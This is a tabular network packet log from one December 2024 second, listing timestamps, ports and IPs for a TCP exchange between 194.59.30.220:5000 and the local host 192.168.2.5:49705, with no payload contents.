Dec 18, 2024 11:40:32.945940971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.946063995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.946130037 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.946908951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.947138071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.947329998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.947923899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.948019981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.948074102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.949045897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.949136019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.949304104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.949884892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.949934006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.949985027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.950876951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.950999975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.951044083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.951869011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.951961994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.952008009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.952863932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.952992916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.953080893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.953835011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.953962088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.954016924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.954840899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.954952955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.955331087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.955874920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.956020117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.956063986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.956844091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.956970930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.957129955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.957882881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.958033085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.958444118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.958822966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.958940983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.959053040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.959819078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.959930897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.959986925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.960848093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.960968018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.961090088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.961818933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.961918116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.961971045 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.962815046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.962904930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.963104010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.963808060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.963960886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.964103937 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.964802027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.964832067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.964901924 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.965810061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.965950966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.966008902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.966797113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.966927052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.967041016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.967770100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.967869043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.967953920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.968763113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.968888044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.968959093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.969758987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.969875097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.969981909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.970774889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.970915079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.970968962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.971762896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.971860886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.971910000 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.972718000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.972882986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.972953081 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.973716021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.973844051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.973921061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.974705935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.974833965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.974878073 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.975742102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.975754976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.976033926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.976696014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.976826906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.977087975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.977674961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.977793932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.977865934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.978672028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.978785992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.978856087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.979695082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.979856014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.979924917 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.980732918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.980815887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.980891943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.981653929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.981761932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.981837988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.982645035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.982760906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.982834101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.983648062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.983793020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.983844042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.984873056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.985049009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.985111952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.985853910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.985866070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.985912085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.986624956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.986710072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.986783981 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.987627983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.987701893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.987751961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.988600016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.988703012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.988770962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.989593029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.989710093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.989830017 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.990649939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.990813971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.990891933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.991594076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.991653919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.991724968 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.992571115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.992669106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.992748022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.000931025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.000988960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.001087904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.001348972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.001513958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.001646042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.001667976 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.002509117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.002635002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.002707958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.003532887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.003669024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.135749102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.135762930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.135822058 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.136317015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.136328936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.136343956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.136440039 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.137334108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.137392044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.137474060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.138370037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.138504982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.138545036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.139149904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.139202118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.139204025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.140255928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.140305042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.140325069 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.141464949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.141478062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.141515970 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.142108917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.142168999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.142355919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.143083096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.143132925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.143369913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.144319057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.144335985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.144366026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.145184994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.145219088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.145368099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.146121025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.146178961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.146212101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.147335052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.147386074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.147511005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.148263931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.148392916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.148406029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.149041891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.149102926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.149132013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.150135994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.150181055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.150294065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.151228905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.151269913 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.151397943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.152225018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.152235985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.152267933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.153177023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.153249025 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.153341055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.154069901 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.154161930 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.154241085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.155087948 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.155160904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.155230045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.156199932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.156210899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.156266928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.157291889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.157304049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.157349110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.158099890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.158140898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.158267975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.159101009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.159112930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.159178019 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.160058975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.160135984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.160413027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.161120892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.161235094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.161297083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.162132978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.162143946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.162218094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.163130999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.163145065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.163220882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.164283037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.164294958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.164349079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.165055990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.165069103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.165143967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.166088104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.166100025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.166157961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.166944981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.167004108 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.167031050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.168802023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.168848038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.169019938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.169630051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.169676065 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.169747114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.169888973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.169975996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.169984102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.171010017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.171057940 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.171161890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.172118902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.172214031 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.172446012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.172916889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.173012972 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.173234940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.174026966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.174040079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.174078941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.174843073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.174906969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.174945116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.175836086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.175889969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.175929070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.176851034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.176917076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.176970959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.177855968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.177903891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.177985907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.178807974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.178874016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.178909063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.179820061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.179831982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.179866076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.180811882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.180876017 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.180907011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.181803942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.181850910 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.181924105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.182779074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.182822943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.182892084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.183770895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.183819056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.183835983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.191971064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.192014933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.192055941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.192429066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.192513943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.192513943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.195370913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.195471048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.195724964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.195735931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.195787907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.326879025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.326972961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.327060938 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.327231884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.327347994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.327400923 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.328352928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.328641891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.328706026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.329371929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.329482079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.329571962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.330223083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.330321074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.330410957 CET	49705	5000	192.168.2.5	194.59.30.220
